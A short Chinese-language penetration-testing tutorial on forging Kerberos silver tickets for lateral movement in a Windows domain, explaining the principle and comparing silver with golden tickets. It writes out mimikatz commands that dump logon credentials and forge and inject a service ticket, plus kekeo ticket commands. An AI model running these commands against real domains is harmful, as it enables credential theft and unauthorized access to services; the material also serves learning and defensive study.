域内横向渗透-PTT票据传递之白银票据 (Silver Ticket)

链接: 域内横向渗透-PTT票据传递之kerberos认证原理详解

原理

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST（黄金与白银票据的区别）。
在 Kerberos 认证的第三步，Client 带着 ST 和 Authenticator3 向 Server 上的某个
服务进行请求，Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份, 验证成功就让 Client 访问 server 上的指定服务了。
所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC, 但是伪造的门票只对部分服务起作用。
特点
1.不需要与 KDC 进行交互
2.需要 server 的 NTLM hash

利用

可使用mimikatz或者kekeo来进行银票的伪造

利用条件

1、目标主机名称
2、server的NTLM hash
3、对应用户的SID

使用方法

登录域管用户，用管理员权限打开 CMD，cd 到 mimikatz 存放的目录，去执行 mimikatz 的命令，得到 SID 和 NTLM，
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.t xt

mimikatz构造银票:

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>
/service:<服务类型> /rc4: /user:<用户名> /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择，因为我们没有 TGT 去不断申请 ticket，所以只能针对某一些服务来进行伪造.

kekeo构造银票

tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash //生成票据
kerberos::ptt 生成票据名称 //票据传递

金票和银票的区别

获取的权限不同
金票：伪造的 TGT，可以获取任意 Kerberos 的访问权限银票：伪造的 ST，只能访问指定的服务，如 CIFS
认证流程不同
金票：同 KDC 交互，但不同 AS 交互
银票：不同 KDC 交互，直接访问 Server 加密方式不同
金票：由 krbtgt NTLM Hash 加密银票：由服务账号 NTLM Hash 加密